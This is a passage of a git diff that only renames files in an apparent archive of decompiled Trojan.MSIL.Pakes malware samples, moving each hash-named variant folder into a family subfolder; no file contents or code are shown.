a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/sOCLjdHJpKPXNsC.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/sOCLjdHJpKPXNsC.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/sOCLjdHJpKPXNsC.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/sOCLjdHJpKPXNsC.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Program.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Program.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Program.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Program.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/files.resx b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/files.resx similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/files.resx rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/files.resx diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Oywqlt2t1qhfwywyazfarq5uy.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Oywqlt2t1qhfwywyazfarq5uy.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Oywqlt2t1qhfwywyazfarq5uy.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Oywqlt2t1qhfwywyazfarq5uy.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Sdq242yforpurdmn1igrgoxgfi0kiiw33/calbufxxjdqqg2hmd.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Sdq242yforpurdmn1igrgoxgfi0kiiw33/calbufxxjdqqg2hmd.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Sdq242yforpurdmn1igrgoxgfi0kiiw33/calbufxxjdqqg2hmd.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Sdq242yforpurdmn1igrgoxgfi0kiiw33/calbufxxjdqqg2hmd.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Settings.xml b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Settings.xml similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Settings.xml rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Settings.xml diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Uckd53gyd1mktkszq/W4ytuf0iqrlf3g3zj.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Uckd53gyd1mktkszq/W4ytuf0iqrlf3g3zj.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Uckd53gyd1mktkszq/W4ytuf0iqrlf3g3zj.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Uckd53gyd1mktkszq/W4ytuf0iqrlf3g3zj.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/Token2000015.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/Token2000015.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/Token2000015.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/Token2000015.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c0fd6042cf6163af5c5647fc1f5915949.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c0fd6042cf6163af5c5647fc1f5915949.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c0fd6042cf6163af5c5647fc1f5915949.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c0fd6042cf6163af5c5647fc1f5915949.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c20d0cffccd6dc5adbb96a36882476ba1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c20d0cffccd6dc5adbb96a36882476ba1.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c20d0cffccd6dc5adbb96a36882476ba1.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c20d0cffccd6dc5adbb96a36882476ba1.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/ceb562aff020f9bdc8cc736dbc668c704.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/ceb562aff020f9bdc8cc736dbc668c704.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/ceb562aff020f9bdc8cc736dbc668c704.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/ceb562aff020f9bdc8cc736dbc668c704.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Urds1z1wtoob4waskjjcwebqs.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Urds1z1wtoob4waskjjcwebqs.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Urds1z1wtoob4waskjjcwebqs.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Urds1z1wtoob4waskjjcwebqs.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/_003CModule_003E.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/_003CModule_003E.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/_003CModule_003E.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/_003CModule_003E.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/Token2000013.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/Token2000013.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/Token2000013.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/Token2000013.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/net b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/net similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/net rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/net diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/Token2000015.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/Token2000015.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/Token2000015.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/Token2000015.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c0fd6042cf6163af5c5647fc1f5915949.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c0fd6042cf6163af5c5647fc1f5915949.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c0fd6042cf6163af5c5647fc1f5915949.cs rename to 